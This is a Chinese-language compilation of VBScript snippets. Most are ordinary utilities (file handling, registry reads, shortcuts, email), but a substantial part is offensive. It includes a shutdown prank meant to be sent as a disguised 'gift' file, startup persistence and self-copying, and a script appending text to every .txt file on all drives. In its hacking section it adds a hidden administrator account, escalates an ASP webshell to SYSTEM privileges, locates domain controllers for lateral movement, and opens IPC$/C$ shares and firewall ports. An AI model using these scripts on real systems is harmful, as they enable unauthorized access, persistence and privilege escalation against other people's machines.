VBS 脚本常用经典代码收集

于 2011 年 7 月 2 日 21:13:37 整理

在网上查找资料的时候发现好多经典的 vbs 代码，收集起来也为了以后学习。

VBS 播放音乐

```
Dim wmp
Set wmp = CreateObject("WMPlayer.OCX")
wmp.openState
wmp.URL = "想象之中.mp3"
Do Until wmp.playState = 1
    WScript.Sleep 1000
Loop
```

比较流行的 VBS 整人脚本(保存为“礼物.VBE”这样就可以通过 QQ 发送了)

```
Set shell=CreateObject("WScript.Shell")
shell.run "shutdown -s -t 60 -c 系统即将关闭.",0
While InputBox("请输入答案","请回答")<>"123" '密码是 123
    MsgBox "答案在心中...",16+4096 '4096 是让窗口在最顶层
Wend
shell.run "shutdown -a",0
MsgBox "恭喜",64
```

修改桌面背景图片

```
Sphoto="d:\1.bmp"'输入你自己的 BMP 路径
computer="."
Const hkcu=&h
Set wmi=GetObject("winmgmts:\\"& computer &"\root\default:stdregprov")
wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath
wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"
wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"
wmi.setdwordvalue
hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi
ewShadow",1
Set wmi=Nothing
Set fso=CreateObject("scripting.filesystemobject")
Set fs=fso.Getfile(Sphoto)
backname=fs.name
```

```
fs.Name=fso.GetFileName(Spath)
fs.Copy fso.GetParentFolderName(Spath) & "\",True
fs.Name=backname
Set fso=Nothing
Set ws=CreateObject("wscript.shell")
ws.Run "gpupdate /force",vbhide
ws.Run "RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"
Set ws=Nothing
```

VBS 获取系统安装路径 C:\WINDOWS 路径

先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。

```
Set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
```

VBS 获取 C:\Program Files 路径

```
Set WshShell = WScript.CreateObject("WScript.Shell")
strPorDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
```

VBS 获取 C:\Program Files\Common Files 路径

```
Set WshShell = WScript.CreateObject("WScript.Shell")
strCommDir = WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%")
```

给桌面添加网址快捷方式

```
Set WshShell = WScript.CreateObject("Wscript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop")
Set oShellLink = WshShell.CreateShortcut(strDesktop & "\百度.lnk")
oShellLink.TargetPath = "http://www.baidu.com/"
oShellLink.Description = "百度主页"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe,
0"
oShellLink.Save
```

给收藏夹添加网址

```
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\百度.url")
objURLShortcut.TargetPath = "http://www.baidu.com/"
objURLShortcut.Save
```

删除指定目录指定后缀文件

```
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing
```

VBS 改主页

```
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com/"
```

VBS 加启动项

```
Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
```

VBS 复制自己到 C 盘

```
Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")
```

复制自己到 C 盘的 huan.vbs(复制本 vbs 目录下的 game.exe 文件到 c 盘的 cik.exe)

```
Dim fso
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
fso.getfile("game.exe").copy("c:\cik.exe")
```

VBS 获取系统临时目录

```
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
```

就算代码出错 依然继续执行

```
On Error Resume Next
```

VBS 打开网址

```
Set objShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.baidu.com/")
```

VBS 发送邮件

```
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "发件@qq.com"
Email.To = "收件@qq.com"
Email.Subject = "这里写标题"
Email.Textbody = "这里写内容!"
Email.AddAttachment "C:\这是附件.txt"
With Email.Configuration.Fields
    .Item(NameSpace&"sendusing") = 2
    .Item(NameSpace&"smtpserver") = "smtp.qq.com"
    .Item(NameSpace&"smtpserverport") = 25
    .Item(NameSpace&"smtpauthenticate") = 1
    .Item(NameSpace&"sendusername") = "发件人用户名"
    .Item(NameSpace&"sendpassword") = "发件人密码"
    .Update
End With
Email.Send
```

VBS 结束进程

```
strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'Rar.exe'")
For Each objProcess in colProcessList
```

```
    objProcess.Terminate()
Next
```

VBS 隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)

```
createObject("wscript.shell").run "start http://www.baidu.com/",0
```

兼容所有浏览器，使用 IE 的绝对路径+参数打开，无法用函数得到 IE 安装路径，只用函数得到了 Program Files 路径，应该比上面的方法好，但是两种方法都不是绝对的。

```
Set objws=WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files\Internet
Explorer\iexplore.exe""www.baidu.com",0
```

VBS 遍历硬盘删除指定文件名

```
On Error Resume Next
Dim fPath
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process
Where Name = 'gangzi.exe'")
For Each objProcess In colProcessList
    objProcess.Terminate()
Next
Set objWMIService =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer &
"\root\cimv2")
Set colDirs = objWMIService.ExecQuery("Select * from Win32_Directory where
name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%'
or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objDir In colDirs
    fPath = objDir.Name & "\cik.exe"
    '如果文件名是 cik.exe 就删除
    objFSO.DeleteFile(fPath), True
Next
```

VBS 获取网卡 MAC 地址

```
Dim mc,mo
Set
mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
    If mo.IPEnabled=True Then
        MsgBox "本机网卡 MAC 地址是: " & mo.MacAddress
        Exit For
    End If
Next
```

VBS 获取本机注册表主页地址

```
Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page")
MsgBox startpage
```

VBS 遍历所有磁盘的所有目录，找到所有.txt 的文件，然后给所有 txt 文件最底部加一句话

```
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Co = vbCrLf & "路过。。。"
For Each i In fso.Drives
    If i.DriveType = 2 Then
        GF fso.GetFolder(i & "\")
    End If
Next

Sub GF(fol)
    Wh fol
    Dim i
    For Each i In fol.SubFolders
        GF i
    Next
End Sub

Sub Wh(fol)
    Dim i
    For Each i In fol.Files
        If LCase(fso.GetExtensionName(i)) = "txt" Then
            fso.OpenTextFile(i,8,0).Write Co
        End If
    Next
End Sub
```

获取计算机所有盘符

```
Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives   '遍历磁盘
    MsgBox objdrive
Next
```

VBS 给本机所有磁盘根目录创建文件

```
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis   '遍历磁盘
    Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
    TestFile.WriteLine("By Cik")
    TestFile.Close
Next
```

VBS 遍历本机全盘找到所有 123.exe，然后给他们改名 321.exe

```
Set fs = CreateObject("Scripting.FileSystemObject")
For Each drive In fs.drives
    fstraversal drive.rootfolder
Next
Sub fstraversal(byval this)
    For Each folder In this.subfolders
        fstraversal folder
    Next
    Set files = this.files
    For Each file In files
        If file.name = "123.exe" Then file.name = "321.exe"
    Next
End Sub
```

VBS 写入代码到粘贴板（先说明一下，VBS 写内容到粘贴板，网上千篇一律都是通过 InternetExplorer.Application 对象来实现，但是缺点是在默认浏览器为非 IE 中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）

```
str="这里是你要复制到剪贴板的字符串"
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
```

QQ 自动发消息

```
On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run "tencent://message/?Menu=yes&uin=&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38eb0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep 3000
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
```

VBS 隐藏文件

```
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If
```

VBS 生成随机数（521 是生成规则，不同的数字生成的规则不一样，可以用于其它用途）

```
Randomize 520
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
```

VBS 删除桌面 IE 图标（非快捷方式）

```
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
```

VBS 获取自身文件名

```
MyName=WScript.ScriptName
msgbox MyName
MyFullName=WScript.ScriptFullName
msgbox MyFullName
```

VBS 读取 Unicode 编码的文件

```
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText
```

VBS 读取指定编码的文件（默认为 uft-8）gangzi 变量是要读取文件的路径

```
set stm2 =createobject("ADODB.Stream")
stm2.Charset = "utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile
```

VBS 禁用组策略

```
Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"
```

VBS 写指定编码的文件（默认为 uft-8）gangzi 变量是要读取文件的路径，gangzi2 是内容变量

```
cik="1.txt"
cik2="2.txt"
Set Stm1 = CreateObject("ADODB.Stream")
Stm1.Type = 2
Stm1.Open
Stm1.Charset = "UTF-8"
Stm1.Position = Stm1.Size
Stm1.WriteText cik2
Stm1.SaveToFile cik,2
Stm1.Close
set Stm1 = nothing
```

VBS 获取当前目录下所有文件夹名字（不包括子文件夹）

```
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
    wsh.echo fo.Name
Next
```

VBS 获取指定目录下所有文件夹名字（包括子文件夹）

```
Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
    Set f=n.subfolders
    For Each uu In f
        Set op=fso.GetFolder(uu.path)
        t=t & vbCrLf & op.path
        Call aa(op)
    Next
    aa=t
End Function
```

VBS 创建.URL 文件（IconIndex 参数不同的数字代表不同的图标，具体请参照 SHELL32.dll 里面的所有图标）

注意：不知道是谁这么写我不发表任何意见

```
Set fso=CreateObject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close
```

VBS 写 hosts（没写判断，无论存不存在都追加底部）

```
Set fs = CreateObject("Scripting.FileSystemObject")
path = fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write "127.0.0.1 www.不想上的网站.cn"
```

```
f.Write "127.0.0.1 www.不想上的网站2.cn"
f.Close
```

VBS 读取出 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出

```
Const HKLM = &H
strPath =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
oreg.EnumKey HKLM,strPath,arr
For Each x In arr
    WScript.Echo x
Next
```

VBS 创建 txt 文件

```
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
```

VBS 创建文件夹

```
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")
```

VBS 判断文件夹是否存在

```
Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists("C:\newFolder")) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If
```

VBS 使用变量判断文件夹

```
Dim fso,fld
drvName="C:\"
```

```
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(drvName&fldName)) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If
```

VBS 加输入框

```
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
    MsgBox("Folder exists")
Else
    Set fld=fso.CreateFolder(drvName&fldName)
End If
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
```

VBS 检查是否有相同文件

```
Dim fso,TestFile,fileName,drvName,fldName
drvName=InputBox("Enter the drive to save to:","Drive letter")
fldName=InputBox("Enter the folder name:","Folder name")
fileName=InputBox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")
If(fso.FolderExists(drvName&fldName))Then
    MsgBox("Folder exists")
Else
    Set fld=fso.CreateFolder(drvName&fldName)
End If
If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
    MsgBox("File already exists.")
Else
    Set
TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
    TestFile.WriteLine("Hello,World!")
    TestFile.Close
End If
```

VBS 改写、追加 文件

```
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1 只读，2 可写，8 追加
openFile.Write "Hello World!"
openFile.Close
```

VBS 读取文件 ReadAll 读取全部

```
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)
```

VBS 读取文件 ReadLine 读取一行

```
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数，就会出错
```

VBS 读取文件 Read 读取 n 个字符

```
Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2))   '如果超出了字符数，不会出错。
```

VBS 删除文件

```
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
```

VBS 删除文件夹

```
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除
```

VBS 连续创建文件

```
Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10
    Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
    TestFile.WriteLine("Hello,World!")
    TestFile.Close
Next
```

VBS 根据计算机名随机生成字符串

```
Set ws=CreateObject("wscript.shell")
Set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
    For i=1 To n
        Randomize Asc(Mid(RDA,1,1))
        temp = CInt(25*Rnd)
        temp = temp +65
        UCharRand = UCharRand & Chr(temp)
    Next
End Function
MsgBox UCharRand(Len(RDA))
```

VBS 根据 mac 生成序列号

```
Function Encode(strPass)
    Dim i, theStr, strTmp

    For i = 1 To Len(strPass)
        strTmp = Asc(Mid(strPass, i, 1))
        theStr = theStr & Abs(strTmp)
    Next

    strPass = theStr
    theStr = ""

    Do While Len(strPass) > 16
        strPass = JoinCutStr(strPass)
    Loop
    For i = 1 To Len(strPass)
        strTmp = CInt(Mid(strPass, i, 1))
        strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
        theStr = theStr & strTmp
    Next

    Encode = theStr
End Function

Function JoinCutStr(str)
    Dim i, theStr
    For i = 1 To Len(str)
        If Len(str) - i = 0 Then Exit For
        theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1,
1))) / 2))
        i = i + 1
    Next
    JoinCutStr = theStr
End Function

Function IIf(var, val1, val2)
    If var = True Then
        IIf = val1
    Else
        IIf = val2
    End If
End Function

Set
mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
    If mo.IPEnabled=True Then
        theStr = mo.MacAddress
        Exit For
    End If
Next

Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)

Function allRand(n)
    For i=1 To n
        Randomize Encode(theStr)
        temp = CInt(25*Rnd)
        If temp Mod 2 = 0 Then
            temp = temp + 97
        ElseIf temp < 9 Then
            temp = temp + 48
        Else
            temp = temp + 65
        End If
        allRand = allRand & Chr(temp)
    Next
End Function
MsgBox allRand(rdnum)
```

VBS 自动连接 adsl

```
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial 连接名字 账号 密码",false,1
```

VBS 自动断开 ADSL

```
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1
```

VBS 每隔 3 秒自动更换 IP 并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个 IE 窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用 run 就可以了）

```
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
Set oIE = CreateObject("InternetExplorer.Application")
For i=1 To 5
    wsh.run "Rasdial /DISCONNECT",False,1
    wsh.run "Rasdial 连接名字 账号 密码",False,1
    oIE.Navigate "http://www.ip138.com/?"&i&""
    Call SynchronizeIE
    oIE.Visible = True
Next
Sub SynchronizeIE
    On Error Resume Next
    Do While(oIE.Busy)
        WScript.Sleep 3000
    Loop
End Sub
```

用 VBS 来加管理员帐号

在注入过程中明明有了 sa 帐号，但是由于 net.exe 和 net1.exe 被限制，或其它的不明原因，总是加不了管理员帐号。VBS 在活动目录（adsi）部份有一个 winnt 对像，可以用来管理本地资源，可以用它不依靠 cmd 等命令来加一个管理员，详细代码如下：

```
Set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到 adsi 接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin 组
Set od=ob.Create("user","lcx") '建立用户
od.SetPassword "" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/lcx",user) '得到用户
oe.add os&"/lcx"
```

这段代码如果保存为 1.vbs，在 cmd 下运行，格式: cscript 1.vbs 的话，会在当前系统加一个名字为 lcx，密码为的管理员。当然，你可以用记事本来修改里边的变量 lcx 和，改成你喜欢的名字和密码值。

将域用户或租添加到本地组

```
Set objGroup = GetObject(WinNT://./Administrators)
Set objUser = GetObject(WinNT://testnet/Engineers)
objGroup.Add(objUser.ADsPath)
```

修改本地管理员密码

```
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword PassWord
objcnla.SetInfo
```

用 vbs 来列虚拟主机的物理目录

有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的 adsutil.vbs 吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：

```
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
    If IsNumeric(obj3w.Name) Then
        sServerName=Obj3w.ServerComment
        Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name &
"/Root")
       ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ")
& obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf
   End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
```

运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？

用VBS快速找到内网域的主服务器

面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台 呢？dos命令像net group “domain admins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：

```
Set obj=GetObject("LDAP://rootDSE")
WScript.Echo obj.servername
```

只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。

vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。

WebShell提权用的VBS代码

asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权 限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件 来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以 大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要 介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:

```
Set wsh=Createobject("wscript.shell") '创建一个wsh对象
wsh.run "cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set
```

```
/W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll
C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll
C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0 '加入
asp.dll 到 InProcessIsapiApps 中
```

将其保存为 vbs 的后缀,再上传到服务上，
然后利用 asp 木马执行这个 vbs 文件后。再试试你的 asp 木马吧，你会发现自己已经是 system 权限了

VBS 开启 ipc 服务和相关设置

```
Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0

Set wsh3=wscript.createobject("wscript.shell")
wsh3.Run "net user helpassistant ",0,false
wsh3.Run "net user helpassistant /active",0,false
wsh3.Run "net localgroup administrators helpassistant /add",0,false

wsh3.Run "net start Lanmanworkstation /y",0,false
wsh3.Run "net start Lanmanserver /y",0,false
wsh3.Run "net start ipc$",0,True
wsh3.Run "net share c$=c:\",0,false

wsh3.Run "netsh firewall set notifications disable",0,True
wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
```

VBS 时间判断代码

```
Digital=Time
hours=Hour(Digital)
minutes=Minute(Digital)
seconds=Second(Digital)
If (hours<6) Then
    dn="凌辰了，还没睡啊？"
End If
If (hours>=6) Then
    dn="早上好！"
End If
If (hours>12) Then
```

```
    dn="下午好！"
End If
If (hours>18) Then
    dn="晚上好！"
End If
If (hours>22) Then
    dn="不早了，夜深了，该睡觉了！"
End If
If (minutes<=9) Then
    minutes="0" & minutes
End If
If (seconds<=9) Then
    seconds="0" & seconds
End If
ctime=hours & ":" & minutes & ":" & seconds & " " & dn
MsgBox ctime
```

VBS 注册表读写

```
Dim OperationRegistry , mynum
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
mynum = 9
mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("before forceguest = "&mynum)
OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0
mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("after forceguest = "&mynum)
```

VBS 运行后删除自身代码

```
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
```

VBS 获取参数并显示

检测是否重复运行

```
Function IsRun()
    IsRun=False
    For Each ps In
GetObject("winmgmts:\\.\root\cimv2:win32_process").instances_
        If LCase(ps.name)="wscript.exe" Then
            If InStr(LCase(ps.CommandLine),LCase(WScript.scriptname)) Then
i=i+1
        End If
    Next
    If i>1 Then IsRun=True
End Function
```

获取指定类型磁盘

```
Function GetDrvS(Drives)
    Set Drv = Fso.GetDrive(Fso.GetDriveName(Drives))
    If Drv.IsReady Then
        If Drv.DriveType=1 Then GetDrvS = True Else GetDrvS = False
        '磁盘类型： 0 无法识别 1 移动磁盘 2 硬盘 3 网络硬盘 4 光驱 5“RAM 虚拟磁盘”
    End If
End Function
```

查看快捷方式 详细参数

```
'On Error Resume Next
Set cik = CreateObject("Wscript.Shell")
set Link=cik.CreateShortcut(WScript.Arguments.Item(0))
with Link
s=s&"快捷方式对象的参数。  ："&.Arguments
s=s&vbcrlf&"快捷方式对象的说明。  ："&.Description
s=s&vbcrlf&"快捷方式对象的热键。  ："&.Hotkey
s=s&vbcrlf&"快捷方式对象的图标位置："&.IconLocation
s=s&vbcrlf&"快捷方式对象的目标路径："&.TargetPath
s=s&vbcrlf&"快捷方式对象的窗口样式："&.WindowStyle
s=s&vbcrlf&"快捷方式对象的工作目录："&.WorkingDirectory
end with
msgbox s,," 快捷方式对象："
WScript.Quit
```

让电脑读英文

```
CreateObject("SAPI.SpVoice").Speak "Reduction using Windows?"
```

文件夹的简单操作

```
Set fso = Wscript.CreateObject(Scripting.FileSystemObject) '声明
Set f = fso.CreateFolder("C:\sample") '创建文件夹
Set e = getFolder("C:\sample") '类似于 绑定目标
e.copy("D:\sample") '复制文件夹
fso.deletefolder("C:\sample") '删除文件夹
```